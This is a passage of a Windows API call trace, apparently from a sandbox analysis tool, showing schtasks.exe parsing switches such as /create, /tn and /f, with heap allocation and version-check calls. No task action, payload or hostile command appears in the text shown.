0x0 [0084.542] SetLastError (dwErrCode=0x490) [0084.542] lstrlenW (lpString="end") returned 3 [0084.542] lstrlenW (lpString="end") returned 3 [0084.542] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.542] lstrlenW (lpString="f") returned 1 [0084.542] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.542] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|end|") returned 5 [0084.542] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|f|") returned 3 [0084.542] lstrlenW (lpString="|end|") returned 5 [0084.542] lstrlenW (lpString="|f|") returned 3 [0084.542] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0084.542] SetLastError (dwErrCode=0x490) [0084.542] lstrlenW (lpString="showsid") returned 7 [0084.542] lstrlenW (lpString="showsid") returned 7 [0084.542] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.542] lstrlenW (lpString="f") returned 1 [0084.542] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.542] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|showsid|") returned 9 [0084.542] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|f|") returned 3 [0084.543] lstrlenW (lpString="|showsid|") returned 9 [0084.543] lstrlenW (lpString="|f|") returned 3 [0084.543] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0084.543] SetLastError (dwErrCode=0x490) [0084.543] SetLastError (dwErrCode=0x490) [0084.543] SetLastError (dwErrCode=0x0) [0084.543] lstrlenW (lpString="/f") returned 2 [0084.543] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0084.543] SetLastError (dwErrCode=0x490) [0084.543] SetLastError (dwErrCode=0x0) [0084.543] lstrlenW (lpString="/f") returned 2 [0084.543] GetProcessHeap () returned 0x250000 [0084.543] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x6) returned 0x26ddf0 [0084.543] GetProcessHeap () returned 0x250000 [0084.543] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cef0 [0084.543] SetLastError (dwErrCode=0x0) [0084.543] GetProcessHeap () returned 0x250000 [0084.543] GetProcessHeap () returned 0x250000 [0084.543] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c2e0) returned 1 [0084.543] GetProcessHeap () returned 0x250000 [0084.543] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c2e0) returned 0x8 [0084.543] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c2e0 | out: hHeap=0x250000) returned 1 [0084.543] GetProcessHeap () returned 0x250000 [0084.543] GetProcessHeap () returned 0x250000 [0084.543] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd10) returned 1 [0084.543] GetProcessHeap () returned 0x250000 [0084.543] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cd10) returned 0x20 [0084.544] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd10 | out: hHeap=0x250000) returned 1 [0084.544] GetProcessHeap () returned 0x250000 [0084.544] GetProcessHeap () returned 0x250000 [0084.545] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c370) returned 1 [0084.545] GetProcessHeap () returned 0x250000 [0084.545] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c370) returned 0xa [0084.545] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c370 | out: hHeap=0x250000) returned 1 [0084.545] GetProcessHeap () returned 0x250000 [0084.545] GetProcessHeap () returned 0x250000 [0084.545] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd40) returned 1 [0084.545] GetProcessHeap () returned 0x250000 [0084.545] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cd40) returned 0x20 [0084.545] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd40 | out: hHeap=0x250000) returned 1 [0084.545] GetProcessHeap () returned 0x250000 [0084.545] GetProcessHeap () returned 0x250000 [0084.545] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c390) returned 1 [0084.545] GetProcessHeap () returned 0x250000 [0084.545] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c390) returned 0x8 [0084.545] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c390 | out: hHeap=0x250000) returned 1 [0084.545] GetProcessHeap () returned 0x250000 [0084.545] GetProcessHeap () returned 0x250000 [0084.545] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd70) returned 1 [0084.546] GetProcessHeap () returned 0x250000 [0084.546] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cd70) returned 0x20 [0084.546] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd70 | out: hHeap=0x250000) returned 1 [0084.547] GetProcessHeap () returned 0x250000 [0084.547] GetProcessHeap () returned 0x250000 [0084.547] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c3b0) returned 1 [0084.547] GetProcessHeap () returned 0x250000 [0084.547] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c3b0) returned 0xe [0084.547] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c3b0 | out: hHeap=0x250000) returned 1 [0084.547] GetProcessHeap () returned 0x250000 [0084.547] GetProcessHeap () returned 0x250000 [0084.547] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cda0) returned 1 [0084.547] GetProcessHeap () returned 0x250000 [0084.547] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cda0) returned 0x20 [0084.548] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cda0 | out: hHeap=0x250000) returned 1 [0084.548] GetProcessHeap () returned 0x250000 [0084.548] GetProcessHeap () returned 0x250000 [0084.548] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c3d0) returned 1 [0084.548] GetProcessHeap () returned 0x250000 [0084.548] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c3d0) returned 0x8 [0084.548] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c3d0 | out: hHeap=0x250000) returned 1 [0084.548] GetProcessHeap () returned 0x250000 [0084.548] GetProcessHeap () returned 0x250000 [0084.548] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cdd0) returned 1 [0084.548] GetProcessHeap () returned 0x250000 [0084.548] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cdd0) returned 0x20 [0084.549] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cdd0 | out: hHeap=0x250000) returned 1 [0084.549] GetProcessHeap () returned 0x250000 [0084.549] GetProcessHeap () returned 0x250000 [0084.549] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c3f0) returned 1 [0084.549] GetProcessHeap () returned 0x250000 [0084.549] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c3f0) returned 0x6 [0084.549] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c3f0 | out: hHeap=0x250000) returned 1 [0084.549] GetProcessHeap () returned 0x250000 [0084.549] GetProcessHeap () returned 0x250000 [0084.549] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26ce00) returned 1 [0084.549] GetProcessHeap () returned 0x250000 [0084.549] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26ce00) returned 0x20 [0084.550] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26ce00 | out: hHeap=0x250000) returned 1 [0084.550] GetProcessHeap () returned 0x250000 [0084.550] GetProcessHeap () returned 0x250000 [0084.550] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c410) returned 1 [0084.550] GetProcessHeap () returned 0x250000 [0084.550] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c410) returned 0x8 [0084.550] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c410 | out: hHeap=0x250000) returned 1 [0084.550] GetProcessHeap () returned 0x250000 [0084.550] GetProcessHeap () returned 0x250000 [0084.550] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26ce30) returned 1 [0084.550] GetProcessHeap () returned 0x250000 [0084.550] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26ce30) returned 0x20 [0084.551] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26ce30 | out: hHeap=0x250000) returned 1 [0084.551] GetProcessHeap () returned 0x250000 [0084.551] GetProcessHeap () returned 0x250000 [0084.551] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x267c00) returned 1 [0084.551] GetProcessHeap () returned 0x250000 [0084.551] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x267c00) returned 0x30 [0084.552] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x267c00 | out: hHeap=0x250000) returned 1 [0084.552] GetProcessHeap () returned 0x250000 [0084.552] GetProcessHeap () returned 0x250000 [0084.552] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26ce60) returned 1 [0084.552] GetProcessHeap () returned 0x250000 [0084.552] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26ce60) returned 0x20 [0084.553] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26ce60 | out: hHeap=0x250000) returned 1 [0084.553] GetProcessHeap () returned 0x250000 [0084.553] GetProcessHeap () returned 0x250000 [0084.553] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26ddd0) returned 1 [0084.553] GetProcessHeap () returned 0x250000 [0084.553] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26ddd0) returned 0x8 [0084.553] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26ddd0 | out: hHeap=0x250000) returned 1 [0084.553] GetProcessHeap () returned 0x250000 [0084.553] GetProcessHeap () returned 0x250000 [0084.554] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26ce90) returned 1 [0084.554] GetProcessHeap () returned 0x250000 [0084.554] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26ce90) returned 0x20 [0084.554] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26ce90 | out: hHeap=0x250000) returned 1 [0084.554] GetProcessHeap () returned 0x250000 [0084.554] GetProcessHeap () returned 0x250000 [0084.554] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d620) returned 1 [0084.554] GetProcessHeap () returned 0x250000 [0084.554] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d620) returned 0x10 [0084.554] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d620 | out: hHeap=0x250000) returned 1 [0084.554] GetProcessHeap () returned 0x250000 [0084.554] GetProcessHeap () returned 0x250000 [0084.554] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cec0) returned 1 [0084.554] GetProcessHeap () returned 0x250000 [0084.554] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cec0) returned 0x20 [0084.555] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cec0 | out: hHeap=0x250000) returned 1 [0084.555] GetProcessHeap () returned 0x250000 [0084.555] GetProcessHeap () returned 0x250000 [0084.555] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26ddf0) returned 1 [0084.555] GetProcessHeap () returned 0x250000 [0084.555] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26ddf0) returned 0x6 [0084.555] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26ddf0 | out: hHeap=0x250000) returned 1 [0084.555] GetProcessHeap () returned 0x250000 [0084.555] GetProcessHeap () returned 0x250000 [0084.555] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cef0) returned 1 [0084.555] GetProcessHeap () returned 0x250000 [0084.555] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cef0) returned 0x20 [0084.556] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cef0 | out: hHeap=0x250000) returned 1 [0084.556] GetProcessHeap () returned 0x250000 [0084.556] GetProcessHeap () returned 0x250000 [0084.556] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26bab0) returned 1 [0084.556] GetProcessHeap () returned 0x250000 [0084.556] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26bab0) returned 0x18 [0084.556] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26bab0 | out: hHeap=0x250000) returned 1 [0084.556] SetLastError (dwErrCode=0x0) [0084.556] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0084.556] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0084.556] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0084.557] VerifyVersionInfoW (in: lpVersionInformation=0xdc110, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xdc110) returned 1 [0084.557] SetLastError (dwErrCode=0x0) [0084.557] lstrlenW (lpString="create") returned 6 [0084.557] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0084.557] SetLastError (dwErrCode=0x490) [0084.557] SetLastError (dwErrCode=0x0) [0084.557] lstrlenW (lpString="create") returned 6 [0084.557] GetProcessHeap () returned 0x250000 [0084.557] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cef0 [0084.557] GetProcessHeap () returned 0x250000 [0084.557] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26d620 [0084.557] _memicmp (_Buf1=0x26d620, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.557] GetProcessHeap () returned 0x250000 [0084.557] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x16) returned 0x26d640 [0084.557] SetLastError (dwErrCode=0x0) [0084.557] _memicmp (_Buf1=0x26bb70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.557] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x26bd10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0084.557] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0084.558] GetProcessHeap () returned 0x250000 [0084.558] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x74e) returned 0x26ddd0 [0084.558] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x26ddd0 | out: lpData=0x26ddd0) returned 1 [0084.558] VerQueryValueW (in: pBlock=0x26ddd0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xdc1f8, puLen=0xdc260 | out: lplpBuffer=0xdc1f8*=0x26e16c, puLen=0xdc260) returned 1 [0084.558] _memicmp (_Buf1=0x26bb70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.558] _vsnwprintf (in: _Buffer=0x26bd10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xdc1d8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0084.558] VerQueryValueW (in: pBlock=0x26ddd0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xdc268, puLen=0xdc258 | out: lplpBuffer=0xdc268*=0x26df98, puLen=0xdc258) returned 1 [0084.558] lstrlenW (lpString="schtasks.exe") returned 12 [0084.558] lstrlenW (lpString="schtasks.exe") returned 12 [0084.559] lstrlenW (lpString=".EXE") returned 4 [0084.559] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0084.559] lstrlenW (lpString="schtasks.exe") returned 12 [0084.559] lstrlenW (lpString=".EXE") returned 4 [0084.559] lstrlenW (lpString="schtasks") returned 8 [0084.559] lstrlenW (lpString="/create") returned 7 [0084.559] _memicmp (_Buf1=0x26bb70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.559] _vsnwprintf (in: _Buffer=0x26bd10, _BufferCount=0x19, _Format="%s %s", _ArgList=0xdc1d8 | out: _Buffer="schtasks /create") returned 16 [0084.559] _memicmp (_Buf1=0x26bb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.559] GetProcessHeap () returned 0x250000 [0084.559] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cec0 [0084.559] _memicmp (_Buf1=0x26bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.559] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x26d3c0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0084.559] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0084.559] GetProcessHeap () returned 0x250000 [0084.559] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x30) returned 0x267c00 [0084.559] _vsnwprintf (in: _Buffer=0x26c110, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xdc1d8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0084.559] GetProcessHeap () returned 0x250000 [0084.559] GetProcessHeap () returned 0x250000 [0084.559] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26ddd0) returned 1 [0084.559] GetProcessHeap () returned 0x250000 [0084.559] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26ddd0) returned 0x74e [0084.560] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26ddd0 | out: hHeap=0x250000) returned 1 [0084.606] SetLastError (dwErrCode=0x0) [0084.606] GetThreadLocale () returned 0x409 [0084.606] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0084.606] lstrlenW (lpString="create") returned 6 [0084.606] GetThreadLocale () returned 0x409 [0084.607] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0084.607] lstrlenW (lpString="?") returned 1 [0084.607] GetThreadLocale () returned 0x409 [0084.607] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0084.607] lstrlenW (lpString="s") returned 1 [0084.607] GetThreadLocale () returned 0x409 [0084.607] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0084.607] lstrlenW (lpString="u") returned 1 [0084.607] GetThreadLocale () returned 0x409 [0084.607] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0084.607] lstrlenW (lpString="p") returned 1 [0084.607] GetThreadLocale () returned 0x409 [0084.607] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0084.607] lstrlenW (lpString="ru") returned 2 [0084.607] GetThreadLocale () returned 0x409 [0084.607] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0084.607] lstrlenW (lpString="rp") returned 2 [0084.607] GetThreadLocale () returned 0x409 [0084.607] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0084.608] lstrlenW (lpString="sc") returned 2 [0084.608] GetThreadLocale () returned 0x409 [0084.608] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0084.608] lstrlenW (lpString="mo") returned 2 [0084.608] GetThreadLocale () returned 0x409 [0084.608] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0084.608] lstrlenW (lpString="d") returned 1 [0084.608] GetThreadLocale () returned 0x409 [0084.608] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0084.608] lstrlenW (lpString="m") returned 1 [0084.608] GetThreadLocale () returned 0x409 [0084.608] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0084.608] lstrlenW (lpString="i") returned 1 [0084.608] GetThreadLocale () returned 0x409 [0084.608] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0084.608] lstrlenW (lpString="tn") returned 2 [0084.608] GetThreadLocale () returned 0x409 [0084.608] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0084.608] lstrlenW (lpString="tr") returned 2 [0084.608] GetThreadLocale () returned 0x409 [0084.608] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0084.608] lstrlenW (lpString="st") returned 2 [0084.608] GetThreadLocale () returned 0x409 [0084.608] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0084.608] lstrlenW (lpString="sd") returned 2 [0084.608] GetThreadLocale () returned 0x409 [0084.608] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0084.609] lstrlenW (lpString="ed") returned 2 [0084.609] GetThreadLocale () returned 0x409 [0084.609] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0084.609] lstrlenW (lpString="it") returned 2 [0084.609] GetThreadLocale () returned 0x409 [0084.609] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0084.609] lstrlenW (lpString="et") returned 2 [0084.609] GetThreadLocale () returned 0x409 [0084.609] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0084.609] lstrlenW (lpString="k") returned 1 [0084.609] GetThreadLocale () returned 0x409 [0084.609] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0084.609] lstrlenW (lpString="du") returned 2 [0084.609] GetThreadLocale () returned 0x409 [0084.609] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0084.609] lstrlenW (lpString="ri") returned 2 [0084.609] GetThreadLocale () returned 0x409 [0084.609] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0084.609] lstrlenW (lpString="z") returned 1 [0084.609] GetThreadLocale () returned 0x409 [0084.609] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0084.609] lstrlenW (lpString="f") returned 1 [0084.609] GetThreadLocale () returned 0x409 [0084.609] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0084.609] lstrlenW (lpString="v1") returned 2 [0084.609] GetThreadLocale () returned 0x409 [0084.609] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0084.610] lstrlenW (lpString="xml") returned 3 [0084.610] GetThreadLocale () returned 0x409 [0084.610] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0084.610] lstrlenW (lpString="ec") returned 2 [0084.610] GetThreadLocale () returned 0x409 [0084.610] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0084.610] lstrlenW (lpString="rl") returned 2 [0084.610] GetThreadLocale () returned 0x409 [0084.610] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0084.610] lstrlenW (lpString="delay") returned 5 [0084.610] GetThreadLocale () returned 0x409 [0084.610] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0084.610] lstrlenW (lpString="np") returned 2 [0084.610] SetLastError (dwErrCode=0x0) [0084.610] SetLastError (dwErrCode=0x0) [0084.610] lstrlenW (lpString="/create") returned 7 [0084.610] lstrlenW (lpString="-/") returned 2 [0084.610] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0084.610] lstrlenW (lpString="create") returned 6 [0084.610] lstrlenW (lpString="create") returned 6 [0084.610] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.610] lstrlenW (lpString="create") returned 6 [0084.610] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.610] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|create|") returned 8 [0084.610] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|create|") returned 8 [0084.611] lstrlenW (lpString="|create|") returned 8 [0084.611] lstrlenW (lpString="|create|") returned 8 [0084.611] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0084.611] SetLastError (dwErrCode=0x0) [0084.611] SetLastError (dwErrCode=0x0) [0084.611] SetLastError (dwErrCode=0x0) [0084.611] lstrlenW (lpString="/tn") returned 3 [0084.611] lstrlenW (lpString="-/") returned 2 [0084.611] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0084.611] lstrlenW (lpString="create") returned 6 [0084.611] lstrlenW (lpString="create") returned 6 [0084.611] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.611] lstrlenW (lpString="tn") returned 2 [0084.611] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.611] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|create|") returned 8 [0084.611] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|tn|") returned 4 [0084.611] lstrlenW (lpString="|create|") returned 8 [0084.611] lstrlenW (lpString="|tn|") returned 4 [0084.611] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0084.611] SetLastError (dwErrCode=0x490) [0084.611] lstrlenW (lpString="?") returned 1 [0084.611] lstrlenW (lpString="?") returned 1 [0084.611] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.611] lstrlenW (lpString="tn") returned 2 [0084.611] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.612] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|?|") returned 3 [0084.612] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|tn|") returned 4 [0084.612] lstrlenW (lpString="|?|") returned 3 [0084.612] lstrlenW (lpString="|tn|") returned 4 [0084.612] SetLastError (dwErrCode=0x490) [0084.612] lstrlenW (lpString="s") returned 1 [0084.612] lstrlenW (lpString="s") returned 1 [0084.612] _memicmp (_Buf1=0x26c1c0, 